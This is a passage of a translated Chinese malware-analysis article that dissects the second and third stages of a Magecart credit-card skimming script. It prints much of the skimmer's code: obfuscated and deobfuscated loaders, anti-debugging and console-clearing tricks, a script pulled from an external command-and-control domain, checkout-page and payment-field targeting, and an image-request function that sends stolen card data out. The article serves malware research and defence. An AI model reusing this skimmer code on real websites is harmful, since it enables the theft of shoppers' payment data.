深入分析感染各网站的信用卡侧录脚本——Magecart(下)

fanyeee 技术 2019年4月10日发布
Favorite收藏

导语:在本文中,我们将为读者深入分析感染各网站的信用卡侧录脚本——Magecart。

(接上文

第2阶段:分析加载器

第2阶段是从一个名为hh的函数开始的。该函数有一个参数,并会通过某种形式计算其哈希值,以根据输入获得唯一的输出,具体如下所示。

function hh(text) {
    if (text.length == 0) return 0;
    var hash = 0;
    for (var i = 0; i < text.length; i++) {
        hash = ((hash << 5) - hash) + text.charCodeAt(i);
        hash = hash & hash;
    }
    return hash % 255;
}

第1阶段的任务是在一个名为ffj的函数中进行的。在哈希函数hh之后的第一行代码中,实例化了2个新变量(分别名为crc和body)。body的值等于与ffj匹配后的正则表达式的返回值。该正则表达式匹配所有不是a到z、A到Z,0到9或短划线的字符,具体代码如下所示。

var body = window.ffj.toString().replace(/[^a-zA-Z0-9\-"]+/g, "");
var crc = body.match(/z9ogkswp6146oodog3d9jb([\w\d\-]+)"/g)[0].replace("z9ogkswp6146oodog3d9jb", "");
body = hh(body.replace("z9ogkswp6146oodog3d9jb" + crc, "z9ogkswp6146oodog3d9jb")) == crc ? 1 : window["ub8"]("");;

变量crc被设置为从正文中删除字符串z9ogkswp6146oodog3d9jb。然后将主体设置为相应的哈希值。如果两个哈希值相等,则返回值true。如果不相等,则清除窗口对象内的字段ub8。由于该字段存放的是Magecart脚本,这相当于从页面中删除恶意代码。

如果安全分析人员修改了脚本,则哈希值与硬编码就无法匹配,从而导致从页面中删除脚本。

在脚本的下一部分中,将创建一个新元素,混淆后的代码如下所示。

var divf = document["create" + String.fromCharCode(69) + "lem" + "" + String.fromCharCode(101) + "nt"]("Hs2c<~rniXp>t" ["replace"](/[\>H\<nX\~2]/g, ""));
divf["" + "i" + String.fromCharCode(100) + ""] = "Bv+ue[rKi>Vf]iUcNa!3tUwilosn;Sy6tge6p" ["replace"](/[gl3\]By6VN\[u\!wUK\;\>s\+]/g, "");
divf["i" + "nne" + (72 > 35 ? "\x72" : "\x69") + "HTML"] = atob("[obfuscated-base64-code]"["replace"](/[\/\[\-\<\%\@\#\>\;\&\_\(\)\+\*\!\]\~\`q6]/g,""));
document[""+""+String.fromCharCode(98)+"ody"]["appen"+(64>35?"\x64":"\x5c")+"C"+"hi"+(87>20?"\x6c":"\x66")+"d"](divf);

在对代码进行反混淆处理后,这一步可以在浏览器的控制台来完成,我们可以轻松阅读相关的代码了。

var divf = document["createElement"]("script");
divf["id"] = "verificationStep";
divf["innerHTML"] = "[base64-code]";
document["body"]["appendChild"](divf);

创建一个名为divf的新脚本元素。为该元素指定一个ID,然后使用innerHTML函数设置脚本的内容。其中,atob函数的作用是解码base64字符串。要将解码的内容写入控制台,可以使用下面的脚本。

console.log(Buffer.from("[base64-value]", 'base64').toString());

解码后的脚本包含更多用于阻挠对其进行分析的方法。如果Firebug窗口打开,则状态将被设置为on。这些代码是作为Base64字符串嵌入的。由于它不需要在解码后考率如何规避检测,所以它没有进行混淆处理。

function checkHandler() {
         if (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) {
                  setStatus('on');
                  return;
         }
        ///[...]
}

如果状态设置为on,则清空控制台。此外,调整窗口大小将调用checkHandler函数,该函数也回将状态设置为on,具体代码如下所示。

if (!options.once) {
         setInterval(checkHandler, delay);
         window.addEventListener('resize', checkHandler);
} else {
         checkHandler();
}

该脚本的下一部分存储在名为divy的变量中。到目前为止,各种重要的脚本都是存储在名为div*的变量中,其中星号为通配符。由于字母f已经被使用,所以,在这部分中使用了字母y。

这里采用的混淆方法与前面的一样,这里就不再详细解释。

var divy = document["cr"+String.fromCharCode(101)+"at"+"eE"+String.fromCharCode(108)+"ement"]("xs-cXrmi<plCt"["replace"](/[\<mXx\-Cl]/g,""));
divy[""+"i"+(97>26?"\x64":"\x5a")+""] ="&bjr~o#w4s5e9rT_yem][email protected]&s=>izoZn"["replace"](/[j\~3Z\=m5z\#y\]9p\@4\>\&T6]/g,"");
divy["i"+String.fromCharCode(110)+""+""+String.fromCharCode(110)+"erHTML"] ="zsje[Et9UIzDn7t[eMrzvYOa&7l>(&f#uBnYHcMt1iZo4nHX(k)U{GcNEo-n!s+o-l=Oe8.<[email protected](q>)6N;/c=oMnFs/o6l_KeP.6iQn`1f&oA(g2'MC!o4nms`oDlTeA RhwU9aLjs% /cXlhe<ah3rHe2dz Ab9y4 6bTrJhohwOsJeSrAh [email protected]#s&#i%2o%[email protected]_L'%@)2;E}J,`5`0=0J)&;"["replace"](/[\_JB\&\`P\/\@j\>\=YR7\[\!\#LAmZ1GFNEVhK92\-\%z84g\+TqXDMUkHOQ6\<3S]/g,"");
document[""+"b"+(66>0?"\x6f":"\x6a")+"dy"]["appen"+(64>19?"\x64":"\x5b")+"C"+"hi"+(82>18?"\x6c":"\x65")+"d"](divy);

反混淆代码表明了该脚本的真实意图:使用appendChild方法向该页面添加另一段Javascript代码。该文件的中的代码用于清空控制台。这里,脚本作者是通过将ID和写入控制台的文本强加为浏览器扩展名来掩盖这一点的。

var divy = document["createElement"]("script");
divy["id"] = "browser_extension";
divy["innerHTML"] = "setInterval(function(){console.clear();console.info('Console was cleared by browser extension.');},500);";
document["body"]["appendChild"](divy);

由于这里使用了相同的混淆方法,所以,除非使用了新的方法,否则,不会以混淆的形式给出新代码。

在下面的代码中,访问者的用户代理是匹配的。如果任何给定的情况相匹配,则返回值true。在其他情况下,返回值false。对于本例来说,下面返回false的附加代码也已进行了反混淆处理。不过,由于这些代码无法访问,因此,可在分析期间忽略它们。该函数的名称已被重构为可理解的内容。

function isMobile() {
         if (navigator["userAgent"]["match"](/Android/i)
                  || navigator["userAgent"]["match"](/webOS/i)
                  || navigator["userAgent"]["match"](/iPhone/i)
                  || navigator["userAgent"]["match"](/iPad/i)
                  || navigator["userAgent"]["match"](/iPod/i)
                  || navigator["userAgent"]["match"](/BlackBerry/i)
                  || navigator["userAgent"]["match"](/Windows Phone/i) ) {
                          return true;
         } else {
                  return false;
                  O_F="rIFkfiR6Nz";
                  pBw="K15IJUec0h"
                  n2Q="uVyhmnTIAt";
                  Ons="RW8Xui8eN4";
                  var sgN="Zla0PE48rr";
                  var kt4="cNRal36kkn";
         }
}

函数contentcachecontrol将另一个脚本添加到当前页面,条件是状态为off或用户位于移动设备上。请再次注意变量的名称:div*。这里是从外部域加载脚本,并将其附加到页面的。实际上,这个脚本属于攻击的第3阶段。

contentcachecontrol["create"](function (status) {
         if (status === "off" || isMobile() ) {
                  var divg = document["createElement"]("script");
                  bJs=263;
                  divg["id"] = "newsprotar";
                  var k60=19;
                  divg["src"] ="https://[c2-domain]/jquery-latest.min.js";
                  var GF0=228;
                  document["body"]["appendChild"](divg);
                  var xVu="47Q3RU3ym5";
         }
         UX8();
         u8X="TqLHCR0w1c";
}

如果状态设置为on (打开控制台或调整窗口大小时),则调用函数UX8。请注意,当控制台首次打开时,窗口也会调整大小。然后,从页面中删除添加的脚本。这进一步加大了发现它的分析难度,因为届时它会试图隐藏自己。在这种情况下,使用静态分析的候,脚本是不会执行的,也不会提供额外的检测层。

function UX8() {
         var indexset;
         var a = "[ 'jquery_ui', 'verificationStep', 'browser_extension', 'newsprotar' ]";
         for (indexset = 0; indexset < a["length"]; ++indexset) {
                  elemdis = document["getElementById"](a[indexset]);
                  elemdis["parentNode"]["removeChild"](elemdis);
                  var s8q=103;
         }
         return false;
}

第3阶段——侧录并泄露数据

第3阶段的代码是从三个函数调用和多个函数声明开始的,具体如下所示。

var _0x46dd = ['omitted', 'due', 'to', 'length'];
 
(function(_0x2a4cae, _0x48387f) {
    var _0x4a41a0 = function(_0x3fbfe3) {
        while (--_0x3fbfe3) {
            _0x2a4cae['push'](_0x2a4cae['shift']());
        }
    };
    _0x4a41a0(++_0x48387f);
}(_0x46dd, 0x182));
 
//omitted function declarations
 
setTimeout(_0x25b463, 0x12c);

首先,声明了一个数组。考虑到其大小,这里省略了83个元素。声明数组后,又执行了一个函数,该函数对前面的数组进行了相应的移动操作。最后,调用setTimeout函数。它的第一个参数是要调用的操作,而第二个参数是在调用第一个参数之前等待的毫秒数。请注意,该函数不会重复执行。

下一个函数名为_0x5418,用于解密字符串。下面,我们来逐步分析这个函数。

var _0x5418 = function(_0x552aa6, _0x427789) {
    _0x552aa6 = _0x552aa6 - 0x0;
    var _0x338d66 = _0x46dd[_0x552aa6];
    if (_0x5418['KfBtLb'] === undefined) {
        (function() {
            var _0x446118 = function() {
                var _0x177dac;
                try {
                    _0x177dac = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (_0x3a77ba) {
                    _0x177dac = window;
                }
                return _0x177dac;
            };
            var _0x5cbba5 = _0x446118();
            var _0x228c49 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x5cbba5['atob'] || (_0x5cbba5['atob'] = function(_0x19b010) {
                var _0x125769 = String(_0x19b010)['replace'](/=+$/, '');
                for (var _0x47a32f = 0x0, _0x386a3d, _0x226e74, _0x1ce67a = 0x0, _0x5a65f4 = ''; _0x226e74 = _0x125769['charAt'](_0x1ce67a++); ~_0x226e74 && (_0x386a3d = _0x47a32f % 0x4 ? _0x386a3d * 0x40 + _0x226e74 : _0x226e74, _0x47a32f++ % 0x4) ? _0x5a65f4 += String['fromCharCode'](0xff & _0x386a3d >> (-0x2 * _0x47a32f & 0x6)) : 0x0) {
                    _0x226e74 = _0x228c49['indexOf'](_0x226e74);
                }
                return _0x5a65f4;
            });
        }());

在这里,变量_0x552aa6等于_0x46dd(数组)的索引。变量_0x427789用作解密密钥。try-catch结构总是会失败,因为格式错误的输出会导致错误。变量_0x228c49是使用过的字母表,其中atob函数用于解码base64编码值。下面是解密函数的相关代码。

        var _0x8d10d0 = function(_0x2abe9e, _0x427789) {
            var _0x1c6a49 = [],
                _0x46acfa = 0x0,
                _0x269141, _0x104913 = '',
                _0x35ed7d = '';
            _0x2abe9e = atob(_0x2abe9e);
            for (var _0x23c42d = 0x0, _0x1d91df = _0x2abe9e['length']; _0x23c42d < _0x1d91df; _0x23c42d++) {
                _0x35ed7d += '%' + ('00' + _0x2abe9e['charCodeAt'](_0x23c42d)['toString'](0x10))['slice'](-0x2);
            }
            _0x2abe9e = decodeURIComponent(_0x35ed7d);
            for (var _0xb93cdb = 0x0; _0xb93cdb < 0x100; _0xb93cdb++) {
                _0x1c6a49[_0xb93cdb] = _0xb93cdb;
            }
            for (_0xb93cdb = 0x0; _0xb93cdb < 0x100; _0xb93cdb++) {
                _0x46acfa = (_0x46acfa + _0x1c6a49[_0xb93cdb] + _0x427789['charCodeAt'](_0xb93cdb % _0x427789['length'])) % 0x100;
                _0x269141 = _0x1c6a49[_0xb93cdb];
                _0x1c6a49[_0xb93cdb] = _0x1c6a49[_0x46acfa];
                _0x1c6a49[_0x46acfa] = _0x269141;
            }
            _0xb93cdb = 0x0;
            _0x46acfa = 0x0;
            for (var _0x5776bb = 0x0; _0x5776bb < _0x2abe9e['length']; _0x5776bb++) {
                _0xb93cdb = (_0xb93cdb + 0x1) % 0x100;
                _0x46acfa = (_0x46acfa + _0x1c6a49[_0xb93cdb]) % 0x100;
                _0x269141 = _0x1c6a49[_0xb93cdb];
                _0x1c6a49[_0xb93cdb] = _0x1c6a49[_0x46acfa];
                _0x1c6a49[_0x46acfa] = _0x269141;
                _0x104913 += String['fromCharCode'](_0x2abe9e['charCodeAt'](_0x5776bb) ^ _0x1c6a49[(_0x1c6a49[_0xb93cdb] + _0x1c6a49[_0x46acfa]) % 0x100]);
            }
            return _0x104913;
        };
        _0x5418['VTiNeW'] = _0x8d10d0;
        _0x5418['EaRSQx'] = {};
        _0x5418['KfBtLb'] = !![];
    }
    var _0x538bf9 = _0x5418['EaRSQx'][_0x552aa6];
    if (_0x538bf9 === undefined) {
        if (_0x5418['HaRpEp'] === undefined) {
            _0x5418['HaRpEp'] = !![];
        }
        _0x338d66 = _0x5418['VTiNeW'](_0x338d66, _0x427789);
        _0x5418['EaRSQx'][_0x552aa6] = _0x338d66;
    } else {
        _0x338d66 = _0x538bf9;
    }
    return _0x338d66;
};

这里,是通过数组( _0x46dd )、随即排序(数组正下方的函数)和解密函数( _0x5418 )对这个字符串进行解密的。我们可以使用浏览器控制台来执行上面的代码。

setTimeout函数在0x12c (十进制记数法为300 )毫秒后调用_0x25b463,该函数代码如下所示。

function _0x25b463() {
    var _0x32f5da = {
        'ddQaX': _0x5418('0x4e', 'o3u8'),
        'EWfkp': function(_0x286e2e) {
            return _0x286e2e();
        }
    };
    if (new RegExp(_0x32f5da[_0x5418('0x4f', 'A7[d')], 'i')[_0x5418('0x50', 'HJGL')](window[_0x5418('0x51', '91%q')])) {
        _0x32f5da[_0x5418('0x52', '91%q')](_0xd96f55);
    }
}

函数调用_0x5418(‘0x4e’, ‘o3u8’) 的作用,指定第78个索引(78以十六进制表示为4e),以o3u8为密钥,反混淆后的代码如下所示。

function _0x25b463() {
    var _0x32f5da = {
        'ddQaX': "onepage|firecheckout|osc|Checkout|awesomecheckout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm",
        'EWfkp': function(_0x286e2e) {
            return _0x286e2e();
        }
    };
    if (new RegExp(_0x32f5da["ddQaX"], 'i')["test"](window["location"])) {
        _0x32f5da["EWfkp"](_0xd96f55);
    }
}

如果当前url(即window[“location”]对象)包含ddQaX中指定的关键字,则调用函数EWfkp。该函数的唯一参数将作为函数执行,然后返回其返回值。这将跟踪到名为_0xd96f55的函数。请注意,为了保持可读性,下面的代码不包含加密字符串。

function _0xd96f55() {
    var _0x48392d = {
        'bXhcD': function(_0x3c07bf) {
            return _0x3c07bf();
        },
        'RGUHZ': function(_0x47c5a1, _0x5ba638) {
            return _0x47c5a1 !== _0x5ba638;
        },
        'QGboB': function(_0x18b96c, _0x16332e) {
            return _0x18b96c(_0x16332e);
        },
        'FrtWl': 'select|password|checkbox|radio|text|hidden|number|tel|email',
        'CNmMs': function(_0x532305, _0x464299) {
            return _0x532305 < _0x464299;
        },
        'tMszl': function(_0x54494a, _0x5c9e9c) {
            return _0x54494a !== _0x5c9e9c;
        },
        'YYlEb': function(_0x3baac5, _0x575547) {
            return _0x3baac5 !== _0x575547;
        },
        'jZKOV': function(_0x1f2dea, _0x1405c6) {
            return _0x1f2dea !== _0x1405c6;
        },
        'qGxKX': function(_0x48c520, _0x9a5492) {
            return _0x48c520 !== _0x9a5492;
        },
        'GAvfS': function(_0x3cfcad, _0x4d7315) {
            return _0x3cfcad + _0x4d7315;
        },
        'VbmoM': "click"
    };
    var _0x197d5a = [];
    var _0x4617d7 = "a[title*='Place Order'],a[href*='javascript: ; '],a[href*='javascript: void (0)'],a[href*='javascript: void (0); '],a[href='#'],button,input,submit,.btn,.button";
    var _0x206c55 = _0x48392d["FrtWl"];
    var _0x2bf815 = document["querySelectorAll"](_0x4617d7);
    for (var _0x286676 = 0x0; _0x48392d['CNmMs'](_0x286676, _0x2bf815["length"]); _0x286676++) {
        if (new RegExp(_0x206c55, 'i')["test")](_0x2bf815[_0x286676]['type'])) {
            continue;
        }
        var _0x906423 = '';
        if (_0x48392d["RGUHZ"](_0x2bf815[_0x286676]['id'], '') && _0x48392d["tMszl"](_0x2bf815[_0x286676]['id'], undefined)) _0x906423 = _0x2bf815[_0x286676]['id'];
        else if (_0x2bf815[_0x286676]["name"] !== '' && _0x48392d["YYlEb"](_0x2bf815[_0x286676]["name"], undefined)) _0x906423 = _0x2bf815[_0x286676]['name'];
        else if (_0x48392d["jZKOV"](_0x2bf815[_0x286676]['title'], '') && _0x48392d['qGxKX'](_0x2bf815[_0x286676]['title'], undefined)) _0x906423 = _0x2bf815[_0x286676]['title'];
        else _0x906423 = _0x48392d["GAvfS"]('bb' + _0x286676, "_12");
        if (_0x197d5a["indexOf"](_0x906423) != -0x1) {
            continue;
        }
        _0x2bf815[_0x286676]["addEventListener"](_0x48392d["VbmoM"], function() {
            var _0x3bbc45 = _0x48392d["bXhcD"](_0x5d0412);
            if (_0x3bbc45 !== undefined && _0x48392d["RGUHZ"](_0x3bbc45, '')) {
                _0x48392d["QGboB"](_0x2bb700, _0x3bbc45);
            }
        });
        _0x197d5a["push"](_0x906423);
    }
}

名为_0x48392d的数组包含许多函数。通过调用数组中元素的名称,就可以调用该函数。实际上,数组中的大多数函数都会返回一个简单的布尔值。这些会在后面的代码中使用,以增加复杂性,降低可读性。它还允许引入其他无用的变量,使代码更加晦涩难懂。

变量_0x2bf815等于querySelectorAll函数的返回值,该函数选择多种类型的链接和元素,所有这些都位于_0x4617d7内,具体如下所示。

"a[title*='Place Order'],a[href*='javascript: ; '],a[href*='javascript: void (0)'],a[href*='javascript: void (0); '],a[href='#'],button,input,submit,.btn,.button"

RegExp对象匹配_0x206c55,其值如下所示。

'select|password|checkbox|radio|text|hidden|number|tel|email'

这些都是页面上的元素类型。函数末尾的addEventListener调用将事件侦听器添加到选定的对象中。然后,用_0x3bbc45作为参数跨调用函数_0x2bb700,具体代码如下所示。

//[omitted code]
var _0x48392d = {
    'QGboB': function(_0x18b96c, _0x16332e) {
        return _0x18b96c(_0x16332e);
    },
    'bXhcD': function(_0x3c07bf) {
         return _0x3c07bf();
    },
//[omitted code]
var _0x3bbc45 = _0x48392d["bXhcD"](_0x5d0412);
_0x48392d["QGboB"](_0x2bb700, _0x3bbc45);

__0x3bbc45设置为_0x5d0412的返回值,_0x5d0412实际上是一个函数。这种类型的混淆方法在脚本中被多次使用;还有另一种模糊方法,具体如下所示。

function _0x5d0412() {
    var _0x65915 = {
        'OsyAS': "8|5|2|9|3|4|1|6|7|0",
    }
var _0x48d69f = _0x65915["OsyAS"]["split"]('|'),
         _0x291277 = 0x0;
while (!![]) {
         switch (_0x48d69f[_0x291277++]) {
                  case '0':
//[omitted code]

变量OsyAS (位于数组0x65915中)包含又一系列数字,这些数字之间是由符号|进行间隔的。这其实就是规定了访问switch语句的顺序。使用以|为分隔符后,拆分函数split将返回包含所有嵌入数字的数组。而!![]则用于将值(在本例中为true )设置为布尔类型,请参考这里

该脚本会检查下面给出的字段名,以及用于验证输入的信用卡号的正则表达式。

'shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country|visa|master'
 
/(3|4|5|6)[0-9]{13,16}/gi;

正则表达式检查所提供的数字是以3、4、5还是以6开头。之后,数字0到9应该出现13到16次。信用卡号码可以通过这种方式进行验证,当然,客户也可能会使用假号码。使用假号码的可能性相当小,因为客户不知道恶意软件的存在,并且购物需要有效信用卡号码。

该脚本的最后一次调用是针对函数0x2bb700的调用,该函数的代码如下所示。

function _0x2bb700(_0x5b4216) {
    var _0x31d9ab = {
        'pFyUG': function(_0x15a0d8, _0x5c4103) {
            return _0x15a0d8 + _0x5c4103;
        },
        'JHcif': function(_0x2d04c8, _0x2b997b) {
            return _0x2d04c8 + _0x2b997b;
        },
        'zDkxM': function(_0x2ab26f, _0x1bdeb5) {
            return _0x2ab26f(_0x1bdeb5);
        },
        'ZydiS': "[base64-encoded-c2]",
        'juZEj': "data="
    };
    if (_0x5b4216 && _0x5b4216["length"]) {
        var _0x2a97b7 = new Image();
        _0x2a97b7["src"] = _0x31d9ab["pFyUG"](_0x31d9ab["JHcif"](_0x31d9ab["zDkxM"](atob, _0x31d9ab["ZydiS"]), _0x31d9ab["juZEj"]), _0x5b4216);
    }
}

变量_0x2a97b7是一个新的图像对象,它等于ZydisS、juZEj和_0x5b4216。重写后,代码的功能就会变得更加明显。

var image = new Image();
image.src = "[c2-address]" + "data=" + data;

这里的数据也是base64编码的,这意味着被盗数据将作为参数添加到URL中。这样,所有数据都将通过HTTP GET请求进行泄露,而不是通过用于提交数据的HTTP POST请求。

小结

总而言之,良性站点与感染恶意Magecart脚本的站点之间的区别很难被觉察到。在受感染的网站上消费时,受害者不会感觉到任何异常。订购的产品(如果有的话)正常交付,货款会转到商家的账户上面,就像正常交易一样。由于信用卡欺诈发生在正常交易之后,因此,受害者或银行很难确定付款信息是在哪里被盗的。

本文翻译自:https://maxkersten.nl/binary-analysis-course/malware-analysis/magecart/如若转载,请注明原文地址: https://www.4hou.com/technology/17170.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论